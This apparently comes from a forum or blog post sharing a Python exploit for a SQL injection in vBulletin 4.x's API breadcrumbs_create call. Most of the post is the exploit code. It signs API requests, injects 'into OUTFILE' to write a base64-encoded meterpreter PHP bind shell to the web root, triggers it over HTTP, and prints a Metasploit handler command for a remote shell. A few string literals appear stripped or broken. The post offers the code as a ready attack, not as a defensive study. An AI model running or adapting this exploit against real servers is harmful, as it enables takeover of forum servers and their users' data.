#vbulletin 4.x - #SQLi in #breadcrumbs via #xmlrpc API


  1. vBulletin (vB) is a proprietary Internet forum software package developed by vBulletin Solutions, Inc., a division of Internet Brands. It is written in PHP and uses a MySQL database server.
  2. This vulnerability founded by oststrom. Here the exploit code.
  3. #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    '''
    @author: tintinweb 0x721427D8
    '''
    import urllib2, cookielib, urllib, json, hashlib class Exploit(object):

    baseurl = None
    cookies = None

    def __init__(self,baseurl,params, debuglevel=1):
    self.cookies = cookielib.LWPCookieJar()
    handlers = [
    urllib2.HTTPHandler(debuglevel=debuglevel),
    urllib2.HTTPSHandler(debuglevel=debuglevel),
    urllib2.HTTPCookieProcessor(self.cookies)
    ]
    self.browser = urllib2.build_opener(*handlers)
    self.baseurl=baseurl
    self.params = params

    def call(self,path="",data={}):
    assert(isinstance(data,dict))
    data = urllib.urlencode(data) req = urllib2.Request("%s%s"%(self.baseurl,path),data)
    req.add_header("Content-Type", "application/x-www-form-urlencoded") return self.browser.open(req)

    def call_json(self,path=None,data={}):
    try:
    x=self.call(path,data).read()
    print "raw_response", x
    resp = json.loads(x)
    except urllib2.HTTPError, he:
    resp = he.read()
    return resp def vb_init_api(self):
    params = {'api_m':'api_init'}
    params.update(self.params)
    data = self.call_json("?%s"%(urllib.urlencode(params)))
    self.session = data
    return data

    def vb_call(self, params):
    api_sig = self._vb_build_api_sig(params)
    req_params = self._vb_build_regstring(api_sig)
    params.update(req_params)
    data = self.call_json("?%s"%(urllib.urlencode(params)),data=params)
    if not isinstance(data, dict):
    return data
    if 'errormessage' in data['response'].keys():
    raise Exception(data)
    return data def _ksort(self, d):
    ret = []
    for key, value in [(k,d[k]) for k in sorted(d.keys())]:
    ret.append( "%s=%s"%(key,value))
    return "&".join(ret) def _ksort_urlencode(self, d):
    ret = []
    for key, value in [(k,d[k]) for k in sorted(d.keys())]:
    ret.append( urllib.urlencode({key:value}))
    return "&".join(ret) def _vb_build_api_sig(self, params):
    apikey = self.params['apikey']
    login_string = self._ksort_urlencode(params)
    access_token = str(self.session['apiaccesstoken'])
    client_id = str(self.session['apiclientid'])
    secret = str(self.session['secret'])
    return hashlib.md5(login_string+access_token+client_id+secret+apikey).hexdigest()

    def _vb_build_regstring(self, api_sig):
    params = {
    'api_c':self.session['apiclientid'],
    'api_s':self.session['apiaccesstoken'],
    'api_sig':api_sig,
    'api_v':self.session['apiversion'],
    }
    return params
    if __name__=="__main__":
    TARGET = "http://192.168.220.131/vbb4/api.php"
    APIKEY = "4FAVcRDc"
    REMOTE_SHELL_PATH = "/var/www/myShell.php"
    TRIGGER_URL = "http://192.168.220.131/myShell.php"
    DEBUGLEVEL = 0 # 1 to enable request tracking
    ### 2. sqli - simple - write outfile
    print "[ 2 ] - sqli - inject 'into outfile' to create file xxxxx.php"
    params = {'clientname':'fancy_exploit_client',
    'clientversion':'1.0',
    'platformname':'exploit',
    'platformversion':'1.5',
    'uniqueid':'1234',
    'apikey':APIKEY}
    x = Exploit(baseurl=TARGET,params=params)

    vars = x.vb_init_api()
    print vars
    '''
    x.vb_call(params={'api_m':'breadcrumbs_create',
    'type':'t',
    #'conceptid':"1 union select 1 into OUTFILE '%s'"%REMOTE_SHELL_PATH,
    'conceptid':"1 union select 1 into OUTFILE '%s'"%(REMOTE_SHELL_PATH)
    })

    print "[ *] SUCCESS! - created file %s"%TRIGGER_URL
    '''
    ### 3. sqli - put meterpreter shell and trigger it
    print "[ 3 ] - sqli - meterpreter shell + trigger"
    with open("./meterpreter_bind_tcp") as f:
    shell = f.read() shell = shell.replace("","") #cleanup tags
    shell = shell.encode("base64").replace("\n","") #encode payload
    shell = ""%shell # add decoderstub
    shell = "0x"+shell.encode("hex") # for mysql outfile


    x.vb_call(params={'api_m':'breadcrumbs_create',
    'type':'t',
    'conceptid':"1 union select %s into OUTFILE '%s'"%(shell,REMOTE_SHELL_PATH)})
    print "[ *] SUCCESS! - triggering shell .. (script should not exit)"
    print "[ ] exploit: #> msfcli multi/handler PAYLOAD=php/meterpreter/bind_tcp LPORT=4444 RHOST= E"
    print "[ *] shell active ... waiting for it to die ..."
    print urllib2.urlopen(TRIGGER_URL)
    print "[ ] shell died!"
    print "-- quit --"